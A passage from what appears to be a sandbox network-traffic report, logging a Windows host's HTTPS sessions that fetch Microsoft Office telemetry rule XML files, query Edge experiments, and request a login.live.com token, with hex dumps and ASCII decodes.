6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:37 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210937Z-16547b76f7f67wxlhC1DFWah9w0000000bhg00000000qxre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49779	94.245.104.56	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:37 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:37 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 09 Nov 2024 21:09:36 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 66dddae9-001e-00ad-7c4d-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210938Z-15869dbbcc6zbpm7hC1DFW75xg00000004v000000000p6m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:38 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210938Z-16547b76f7f67wxlhC1DFWah9w0000000bkg00000000mq4b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 9e5bc133-001e-0065-6500-2f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210938Z-17df447cdb5zfhrmhC1DFWh33000000007zg000000004t8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:38 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210938Z-16547b76f7f775p5hC1DFWzdvn0000000bn000000000fa0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:38 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 814b8126-e01e-0085-4945-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210938Z-17df447cdb56mx55hC1DFWvbt400000004x0000000009p7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:38 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49792	40.126.32.72	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-09 21:09:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-09 21:09:39 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 09 Nov 2024 21:08:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 2ae774d2-891d-4b43-a42f-3914a43fe15b PPServer: PPV: 30 H: SN1PEPF0002F0B8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 09 Nov 2024 21:09:38 GMT Connection: close Content-Length: 1276
2024-11-09 21:09:39 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 3dfc1e98-801e-0078-4cd0-30bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210939Z-17df447cdb5vp9l9hC1DFW5hw800000003g000000000p3zn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1511aab4-801e-0015-535c-2ef97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210939Z-15869dbbcc6xpvqthC1DFWq7d8000000052g00000000hfs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 757ea358-e01e-000c-6553-328e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210939Z-17df447cdb54qlp6hC1DFWqcfc000000080g000000006m20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
